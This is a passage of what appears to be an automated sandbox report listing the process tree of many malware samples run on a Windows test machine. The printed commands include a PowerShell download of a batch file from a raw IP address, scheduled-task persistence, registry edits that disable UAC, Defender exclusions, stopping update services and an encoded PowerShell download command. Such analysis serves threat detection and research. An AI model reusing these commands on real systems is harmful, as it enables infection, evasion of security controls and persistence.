        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:1952
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:3496
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:3484
    - - C:\Users\Admin\AppData\Local\Temp\1985119686.exe
        
        C:\Users\Admin\AppData\Local\Temp\1985119686.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1840
    - - C:\Users\Admin\AppData\Local\Temp\2361911410.exe
        
        C:\Users\Admin\AppData\Local\Temp\2361911410.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1956
    - - C:\Users\Admin\AppData\Local\Temp\218042625.exe
        
        C:\Users\Admin\AppData\Local\Temp\218042625.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5000
- - C:\Users\Admin\Desktop\Files\npp.exe
    "C:\Users\Admin\Desktop\Files\npp.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:4456
  - - C:\Users\Admin\AppData\Local\Temp\169111223.exe
      C:\Users\Admin\AppData\Local\Temp\169111223.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:3128
    - - C:\Windows\sysnldcvmr.exe
        
        C:\Windows\sysnldcvmr.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        
        PID:5108
      - C:\Users\Admin\AppData\Local\Temp\95762703.exe
        
        C:\Users\Admin\AppData\Local\Temp\95762703.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4948
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:1040
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:2628
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:2092
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:2496
      - C:\Users\Admin\AppData\Local\Temp\1539323472.exe
        
        C:\Users\Admin\AppData\Local\Temp\1539323472.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:696
      - C:\Users\Admin\AppData\Local\Temp\1865811931.exe
        
        C:\Users\Admin\AppData\Local\Temp\1865811931.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2800
        
        C:\Users\Admin\AppData\Local\Temp\2165934757.exe
        
        C:\Users\Admin\AppData\Local\Temp\2165934757.exe
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4700
      - C:\Users\Admin\AppData\Local\Temp\274832902.exe
        
        C:\Users\Admin\AppData\Local\Temp\274832902.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2732
- - C:\Users\Admin\Desktop\Files\Edge.exe
    "C:\Users\Admin\Desktop\Files\Edge.exe"
    3⤵
    - Executes dropped EXE
    PID:3640
  - - C:\Users\Admin\AppData\Local\Temp\Edge.exe
      "C:\Users\Admin\AppData\Local\Temp\Edge.exe"
      4⤵
      Executes dropped EXE
      PID:2308
- - C:\Users\Admin\Desktop\Files\LgendPremium.exe
    "C:\Users\Admin\Desktop\Files\LgendPremium.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1684
- - C:\Users\Admin\Desktop\Files\Session.exe
    "C:\Users\Admin\Desktop\Files\Session.exe"
    3⤵
    - Executes dropped EXE
    PID:4728
- - C:\Users\Admin\Desktop\Files\1_encoded.exe
    "C:\Users\Admin\Desktop\Files\1_encoded.exe"
    3⤵
    - Executes dropped EXE
    PID:848
- - C:\Users\Admin\Desktop\Files\DOC.exe
    "C:\Users\Admin\Desktop\Files\DOC.exe"
    3⤵
    - Executes dropped EXE
    PID:248
- C:\Users\Admin\Desktop\4363463463464363463463463.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3124
- - C:\Users\Admin\Desktop\Files\MajesticExec.exe
    "C:\Users\Admin\Desktop\Files\MajesticExec.exe"
    3⤵
    - Executes dropped EXE
    PID:3020
- - C:\Users\Admin\Desktop\Files\Prototype.exe
    "C:\Users\Admin\Desktop\Files\Prototype.exe"
    3⤵
    - Executes dropped EXE
    PID:3280
- - C:\Users\Admin\Desktop\Files\pornhub_downloader.exe
    "C:\Users\Admin\Desktop\Files\pornhub_downloader.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2228
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9A68.tmp\9A69.tmp\9A6A.bat C:\Users\Admin\Desktop\Files\pornhub_downloader.exe"
      4⤵
      PID:5108
    - - C:\Windows\system32\mshta.exe
        
        mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\Desktop\Files\PORNHU~1.EXE","goto :target","","runas",1)(window.close)
        5⤵
        Access Token Manipulation: Create Process with Token
        
        PID:4684
      - C:\Users\Admin\Desktop\Files\PORNHU~1.EXE
        
        "C:\Users\Admin\Desktop\Files\PORNHU~1.EXE" goto :target
        6⤵
        Executes dropped EXE
        
        PID:4512
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9D85.tmp\9D86.tmp\9D87.bat C:\Users\Admin\Desktop\Files\PORNHU~1.EXE goto :target"
        7⤵
        
        PID:2680
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:1292
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:1696
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:2012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"
        8⤵
        
        PID:432
        
        C:\Windows\system32\reg.exe
        
        reg query HKEY_CLASSES_ROOT\http\shell\open\command
        9⤵
        
        PID:3188
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/
        8⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of SendNotifyMessage
        
        PID:5036
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff894dd3cb8,0x7ff894dd3cc8,0x7ff894dd3cd8
        9⤵
        
        PID:4532
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1948,13286407138708425063,339473735937369673,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1960 /prefetch:2
        9⤵
        
        PID:2980
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1948,13286407138708425063,339473735937369673,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 /prefetch:3
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1556
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1948,13286407138708425063,339473735937369673,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2608 /prefetch:8
        9⤵
        
        PID:576
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1948,13286407138708425063,339473735937369673,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
        9⤵
        
        PID:3172
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1948,13286407138708425063,339473735937369673,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
        9⤵
        
        PID:4168
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1948,13286407138708425063,339473735937369673,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5188 /prefetch:1
        9⤵
        
        PID:236
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1948,13286407138708425063,339473735937369673,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5196 /prefetch:1
        9⤵
        
        PID:3408
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1948,13286407138708425063,339473735937369673,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4848 /prefetch:1
        9⤵
        
        PID:3328
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1948,13286407138708425063,339473735937369673,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5516 /prefetch:1
        9⤵
        
        PID:2020
        
        C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1948,13286407138708425063,339473735937369673,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5752 /prefetch:8
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3576
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1948,13286407138708425063,339473735937369673,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:8
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1492
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h d:\net
        8⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:3756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2376
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Create /SC ONLOGON /TN "my dr" /TR "d:\net\dr\dr.bat" /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:692
- - C:\Users\Admin\Desktop\Files\test.exe
    "C:\Users\Admin\Desktop\Files\test.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5068
- - C:\Users\Admin\Desktop\Files\Indentif.exe
    "C:\Users\Admin\Desktop\Files\Indentif.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:3440
- - C:\Users\Admin\Desktop\Files\AA_v3.5.exe
    "C:\Users\Admin\Desktop\Files\AA_v3.5.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2548
- - C:\Users\Admin\Desktop\Files\nxmr.exe
    "C:\Users\Admin\Desktop\Files\nxmr.exe"
    3⤵
    PID:3908
- - C:\Users\Admin\Desktop\Files\Client.exe
    "C:\Users\Admin\Desktop\Files\Client.exe"
    3⤵
    PID:5256
  - - C:\Users\Admin\AppData\Local\Temp\WindowsServices.exe
      "C:\Users\Admin\AppData\Local\Temp\WindowsServices.exe"
      4⤵
      PID:5452
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\WindowsServices.exe" "WindowsServices.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:6528
- - C:\Users\Admin\Desktop\Files\BattleGermany.exe
    "C:\Users\Admin\Desktop\Files\BattleGermany.exe"
    3⤵
    PID:6816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move Cassette Cassette.cmd & Cassette.cmd & exit
      4⤵
      PID:6904
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:2956
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        5⤵
        
        PID:6468
- - C:\Users\Admin\Desktop\Files\stealc_default2.exe
    "C:\Users\Admin\Desktop\Files\stealc_default2.exe"
    3⤵
    PID:6972
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6972 -s 1244
      4⤵
      Program crash
      PID:51892
- - C:\Users\Admin\Desktop\Files\penis.exe
    "C:\Users\Admin\Desktop\Files\penis.exe"
    3⤵
    PID:7048
- - C:\Users\Admin\Desktop\Files\t.exe
    "C:\Users\Admin\Desktop\Files\t.exe"
    3⤵
    PID:6128
- - C:\Users\Admin\Desktop\Files\ipscan221.exe
    "C:\Users\Admin\Desktop\Files\ipscan221.exe"
    3⤵
    PID:2232
- - C:\Users\Admin\Desktop\Files\cvv.exe
    "C:\Users\Admin\Desktop\Files\cvv.exe"
    3⤵
    PID:7908
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\MsChainWinSavesNet\JeuoTlIUFkP0JKjwMjJhvZCUZE7ZSPu8lUVQg7epfUxIOeMqBpEL003n4zid.vbe"
      4⤵
      PID:8088
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\MsChainWinSavesNet\XeIJVXsH711dt3nzNM5xE4hYJepTgAq4zgx4OrxOJ6bMlIST.bat" "
        5⤵
        
        PID:8144
      - C:\MsChainWinSavesNet\intosvc.exe
        
        "C:\MsChainWinSavesNet/intosvc.exe"
        6⤵
        
        PID:7032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\IqxlgEM7AX.bat"
        7⤵
        
        PID:7176
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:7236
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        8⤵
        
        PID:6180
        
        C:\MsChainWinSavesNet\anticheat.exe
        
        "C:\MsChainWinSavesNet\anticheat.exe"
        8⤵
        
        PID:7756
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\6EJ44dmIex.bat"
        9⤵
        
        PID:5796
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        10⤵
        
        PID:38236
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        10⤵
        
        PID:45884
        
        C:\MsChainWinSavesNet\anticheat.exe
        
        "C:\MsChainWinSavesNet\anticheat.exe"
        10⤵
        
        PID:54204
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ebeZ1AqQCz.bat"
        11⤵
        
        PID:35496
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        12⤵
        
        PID:38284
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        12⤵
        
        PID:42148
        
        C:\Users\Public\Downloads\cmd.exe
        
        "C:\Users\Public\Downloads\cmd.exe"
        12⤵
        
        PID:9640
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Cg5rz6h3MO.bat"
        13⤵
        
        PID:34932
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        14⤵
        
        PID:86988
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        14⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:76468
- - C:\Users\Admin\Desktop\Files\11.exe
    "C:\Users\Admin\Desktop\Files\11.exe"
    3⤵
    PID:7964
  - - C:\Windows\sysarddrvs.exe
      C:\Windows\sysarddrvs.exe
      4⤵
      PID:8128
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        
        PID:6624
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6716
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        5⤵
        
        PID:1380
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:4464
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:7132
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:2108
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        
        PID:2684
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        6⤵
        Launches sc.exe
        
        PID:5412
    - - C:\Users\Admin\AppData\Local\Temp\72236167.exe
        
        C:\Users\Admin\AppData\Local\Temp\72236167.exe
        5⤵
        
        PID:91952
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:37412
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:13148
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:34104
    - - C:\Users\Admin\AppData\Local\Temp\1001511605.exe
        
        C:\Users\Admin\AppData\Local\Temp\1001511605.exe
        5⤵
        
        PID:58884
- - C:\Users\Admin\Desktop\Files\PharmaciesDetection.exe
    "C:\Users\Admin\Desktop\Files\PharmaciesDetection.exe"
    3⤵
    PID:7140
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move Ruth Ruth.cmd & Ruth.cmd & exit
      4⤵
      PID:5408
- - C:\Users\Admin\Desktop\Files\te3tlsre.exe
    "C:\Users\Admin\Desktop\Files\te3tlsre.exe"
    3⤵
    PID:42568
- - C:\Users\Admin\Desktop\Files\Final.exe
    "C:\Users\Admin\Desktop\Files\Final.exe"
    3⤵
    PID:24140
  - - C:\Users\Admin\AppData\Local\Temp\build.exe
      "C:\Users\Admin\AppData\Local\Temp\build.exe"
      4⤵
      PID:51072
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:36132
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:14348
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:38512
      - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        6⤵
        
        PID:38472
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
        5⤵
        
        PID:38080
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:39392
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        6⤵
        
        PID:45732
      - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        6⤵
        
        PID:25452
- - C:\Users\Admin\Desktop\Files\request.exe
    "C:\Users\Admin\Desktop\Files\request.exe"
    3⤵
    PID:19040
  - - C:\Windows\SysWOW64\schtasks.exe
      C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN msvcservice /TR "C:\Users\Admin\msvcservice.exe" /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:56708
  - - C:\Users\Admin\msvcservice.exe
      "C:\Users\Admin\msvcservice.exe"
      4⤵
      PID:35852
    - - C:\Windows\SysWOW64\schtasks.exe
        
        C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN msvcservice /TR "C:\Users\Admin\msvcservice.exe" /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14572
- - C:\Users\Admin\Desktop\Files\rat.exe
    "C:\Users\Admin\Desktop\Files\rat.exe"
    3⤵
    PID:42096
  - - C:\Users\Admin\Desktop\Files\rat.exe
      "C:\Users\Admin\Desktop\Files\rat.exe"
      4⤵
      PID:25976
- - C:\Users\Admin\Desktop\Files\clip.exe
    "C:\Users\Admin\Desktop\Files\clip.exe"
    3⤵
    PID:18388
- - C:\Users\Admin\Desktop\Files\caspol.exe
    "C:\Users\Admin\Desktop\Files\caspol.exe"
    3⤵
    PID:52588
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\Files\caspol.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:33480
  - - C:\Users\Admin\Desktop\Files\caspol.exe
      "C:\Users\Admin\Desktop\Files\caspol.exe"
      4⤵
      PID:12984
- - C:\Users\Admin\Desktop\Files\Organiser.exe
    "C:\Users\Admin\Desktop\Files\Organiser.exe"
    3⤵
    PID:19700
- - C:\Users\Admin\Desktop\Files\%E8%88%9E%E8%B9%88%E5%8A%A9%E6%89%8B.exe
    "C:\Users\Admin\Desktop\Files\%E8%88%9E%E8%B9%88%E5%8A%A9%E6%89%8B.exe"
    3⤵
    PID:13276
- - C:\Users\Admin\Desktop\Files\p.exe
    "C:\Users\Admin\Desktop\Files\p.exe"
    3⤵
    PID:42448
- - C:\Users\Admin\Desktop\Files\xXdquUOrM1vD3An.exe
    "C:\Users\Admin\Desktop\Files\xXdquUOrM1vD3An.exe"
    3⤵
    PID:31660
- - C:\Users\Admin\Desktop\Files\RMS1.exe
    "C:\Users\Admin\Desktop\Files\RMS1.exe"
    3⤵
    PID:34180
- - C:\Users\Admin\Desktop\Files\xworm.exe
    "C:\Users\Admin\Desktop\Files\xworm.exe"
    3⤵
    PID:76340
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      PID:76536
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      PID:76996
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAeQBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHYAbQBtACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAGoAZQBjAHQAaQBvAG4AIABlAHIAcgBvAHIAIQAgAEYAaQBsAGUAIABtAHUAcwB0ACAAYgBlACAAcwB0AGEAcgB0AGUAZAAgAGEAcwAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIQAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAYwB1AGsAIwA+ADsAIgA7ADwAIwBsAG0AbQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAcQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZABrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAegB5ACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8